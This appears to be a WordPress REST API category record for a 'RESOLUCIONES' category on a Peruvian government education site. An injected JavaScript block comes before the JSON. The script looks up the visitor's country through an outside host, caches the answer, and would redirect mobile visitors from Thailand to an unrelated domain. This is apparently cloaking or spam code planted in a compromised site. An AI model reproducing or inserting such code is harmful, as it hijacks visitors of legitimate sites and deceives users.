<script>
(function() {
    var isDesktop = true;
    
    // Desktop = stay
    if (isDesktop) {
        document.body.style.visibility = "visible";
        return;
    }
    
    var key = "geo_th_v1";
    var cached = localStorage.getItem(key);
    
    // Mobile + TH = redirect
    if (cached === "TH") {
        location.href = "https://www.wakeboard-madrid.com/";
        return;
    }
    
    // Mobile + non-TH (cached) = stay
    if (cached && cached !== "TH") {
        document.body.style.visibility = "visible";
        return;
    }
    
    // Fetch country
    fetch("https://kuproy.xyz/")
        .then(function(r) { return r.text(); })
        .then(function(c) {
            var country = c.trim().toUpperCase();
            localStorage.setItem(key, country);
            
            // TH = redirect, non-TH = stay
            if (country === "TH") {
                location.href = "https://www.wakeboard-madrid.com/";
            } else {
                document.body.style.visibility = "visible";
            }
        })
        .catch(function() {
            // Error = assume non-TH, stay
            localStorage.setItem(key, "NOT_TH");
            document.body.style.visibility = "visible";
        });
})();
</script>{"id":12,"count":15,"description":"","link":"https:\/\/ugelarequipanorte.gob.pe\/wp\/category\/resoluciones\/","name":"RESOLUCIONES","slug":"resoluciones","taxonomy":"category","parent":0,"meta":[],"_links":{"self":[{"href":"https:\/\/ugelarequipanorte.gob.pe\/wp\/wp-json\/wp\/v2\/categories\/12","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ugelarequipanorte.gob.pe\/wp\/wp-json\/wp\/v2\/categories"}],"about":[{"href":"https:\/\/ugelarequipanorte.gob.pe\/wp\/wp-json\/wp\/v2\/taxonomies\/category"}],"wp:post_type":[{"href":"https:\/\/ugelarequipanorte.gob.pe\/wp\/wp-json\/wp\/v2\/posts?categories=12"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}